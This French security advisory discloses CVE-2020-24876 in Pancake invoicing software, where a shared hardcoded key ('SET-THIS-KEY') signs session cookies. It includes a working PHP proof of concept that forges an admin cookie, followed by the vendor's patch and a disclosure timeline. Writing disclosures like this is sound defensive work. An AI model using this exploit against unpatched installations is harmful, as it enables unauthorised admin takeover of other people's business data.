TL;DR

Pancake est un logiciel de facturation en ligne, de management de projets et de gestion du temps et des devis. Un secret codé en dur, partagé par l’ensemble des installations et utilisé pour signer le cookie de session nous a permis de falsifier un cookie de session valide pour n’importe quel compte pour toutes applications Pancake avant la version 4.13.29.

CVE 

CVE-2020-24876

Versions affectées

Toutes les versions de Pancake avant 4.13.29

Détails de la vulnérabilité

Pendant que nous conduisions un pentest Black Box, nous avons identifié une cible utilisant des cookies intéressants :

Set-Cookie: ci_session=a:5:{s:10:"session_id";s:32:"727b8714d43bae9ab8ccbd1599488579";s:10:"ip_address";s:11:"10.21.0.254";s:10:"user_agent";s:12:"HTTPie/1.0.2";s:13:"last_activity";i:1571768748;s:9:"user_data";s:0:"";}ae2539466a3835d177ef49a5d996a513; expires=Mon, 25-Nov-2019 02:25:48 GMT; path=/

Ce qui est intéressant à propos de ce cookie est qu’il s’agit d’un objet PHP sérialisé. Dé-sérialiser un objet PHP fourni à un utilisateur peut mener à de sérieuses vulnérabilités, cela a donc éveillé notre intérêt.

Il s’avère que l’application tournant sur ce serveur est nommée Pancake, qui est basée sur CodeIgniter.

Examinons le code chargé de lire le cookie de session :

<?php
/**
 * Fetch the current session data if it exists
 *
 * @access	public
 * @return	bool
 */
function sess_read() {
    // Fetch the cookie
    $session = $this->CI->input->cookie($this->sess_cookie_name);
    // No cookie?  Goodbye cruel world!...
    if ($session === FALSE) {
        log_message('debug', 'A session cookie was not found.');
        return FALSE;
    }
    // Decrypt the cookie data
    if ($this->sess_encrypt_cookie == TRUE) {
        $session = $this->CI->encrypt->decode($session);
    } else {
        // encryption was not used, so we need to check the md5 hash
        $hash = substr($session, strlen($session) - 32); // get last 32 chars
        $session = substr($session, 0, strlen($session) - 32);
        // Does the md5 hash match?  This is to prevent manipulation of session data in userspace
        if ($hash !== md5($session . $this->encryption_key)) {
            log_message('error', 'The session cookie data did not match what was expected. This could be a possible hacking attempt.');
            $this->sess_destroy();
            return FALSE;
        }
    }
    // Unserialize the session array
    $session = $this->_unserialize($session);

    // ...
}

Dans notre cas, le cookie n’est pas chiffré, donc le seul moyen de nous empêcher de manipuler les données de la session est un hash MD5 utilisant la encryption_key comme secret. Sans la encryption_key, nous ne pouvons pas falsifier de cookies de session.

A ce moment, nous aurions pu essayer de bruteforcer le hash MD5, mais à la place, nous avons décidé de creuser encore.

Pancake n’est pas une application open source, mais il se trouve que nous avons réussi à obtenir le code source de deux anciennes versions en utilisant des requêtes de recherche GitHub bien précises.

En regardant le fichier config.php, il s’avère que les deux avaient la même clé de chiffrement !

/*
|--------------------------------------------------------------------------
| Encryption Key
|--------------------------------------------------------------------------
|
| If you use the Encryption class or the Sessions class with encryption
| enabled you MUST set an encryption key.  See the user guide for info.
|
*/
$config['encryption_key'] = "SET-THIS-KEY";

Comme les deux partagent la même clé et que la documentation ne faisait pas référence à un besoin de mettre à jour la clé de chiffrement, nous avons supposé que la plupart des installations utilisaient probablement la même clé.

Après quelques essais et erreurs, nous avons réussi à créer un cookie de session valide pour un utilisateur admin !

Exploitation

Ce simple proof of concept va afficher un cookie qui sera valide pour un utilisateur admin (en supposant une configuration par défaut de l’app). Vous avez besoin de fournir un session_id valide ainsi que l’adresse IP, user_agent et last_activity correspondants.

<?php

$a = [
	"session_id" => "a27f75a4a4612bd933f6ba1674d7b2c8",
	"ip_address" => "172.17.0.1",
	"user_agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36",
	"last_activity" => 1573070821,
	"user_data" => "",
	"username" => 'admin',
	"id" => '1',
	"user_id" => '1',
	"group_id" => '1',
	"group" => 'admin'
];

echo urlencode(serialize($a).md5(serialize($a)."SET-THIS-KEY"));

Réponse de l’éditeur

L’éditeur a reconnu la vulnérabilité et y a remédié, consultez le bulletin de l’éditeur pour plus d’informations : https://www.pancakeapp.com/blog/entry/pancake-4.13.29-released

Le patch :

diff --git a/pancake/system/codeigniter/libraries/Session.php b/pancake/system/codeigniter/libraries/Session.php
index 4f5555d..aba2651 100644
--- a/pancake/system/codeigniter/libraries/Session.php
+++ b/pancake/system/codeigniter/libraries/Session.php
@@ -195,7 +195,14 @@ class CI_Session {
                        return FALSE;
                }

-               // Is there a corresponding session in the DB?
+        $allowed_keys = ["session_id", "ip_address", "user_agent", "last_activity"];
+        foreach (array_keys($session) as $key) {
+            if (!in_array($key, $allowed_keys)) {
+                unset($session[$key]);
+            }
+        }
+
+        // Is there a corresponding session in the DB?
diff --git a/pancake/system/pancake/core/Pancake_Controller.php b/pancake/system/pancake/core/Pancake_Controller.php
index 59d1dd8..1a17fd9 100644
--- a/pancake/system/pancake/core/Pancake_Controller.php
+++ b/pancake/system/pancake/core/Pancake_Controller.php
@@ -174,7 +174,7 @@ class Pancake_Controller extends CI_Controller {
             redirect(str_ireplace('http://', 'https://', site_url(uri_string())));
         }

-        $this->load->library('session');
+        $this->load->library('session', ["encryption_key" => Settings::get_encryption_key()]);
         $this->load->library('ion_auth');

         Currency::set(PAN::setting('currency'));
diff --git a/pancake/system/pancake/modules/settings/libraries/Settings.php b/pancake/system/pancake/modules/settings/libraries/Settings.php
index a1b79b6..ca369ce 100644
--- a/pancake/system/pancake/modules/settings/libraries/Settings.php
+++ b/pancake/system/pancake/modules/settings/libraries/Settings.php
@@ -239,6 +239,15 @@ class Settings {
         return $return;
     }

+    public static function get_encryption_key()
+    {
+        if (!Settings::get("encryption_key")) {
+            Settings::set("encryption_key", md5(random_bytes(32)));
+        }
+
+        return Settings::get("encryption_key");
+    }
+
     public static function create($name, $value) {
         return static::set($name, $value);
     }

Historique

  • 10/2019 – Vulnérabilité identifiée
  • 11/2019 – Premier essai de contacter l’éditeur, pas de réponse
  • 07/2020 – Deuxième essai de contacter l’éditeur, patch publié le même jour

Référence :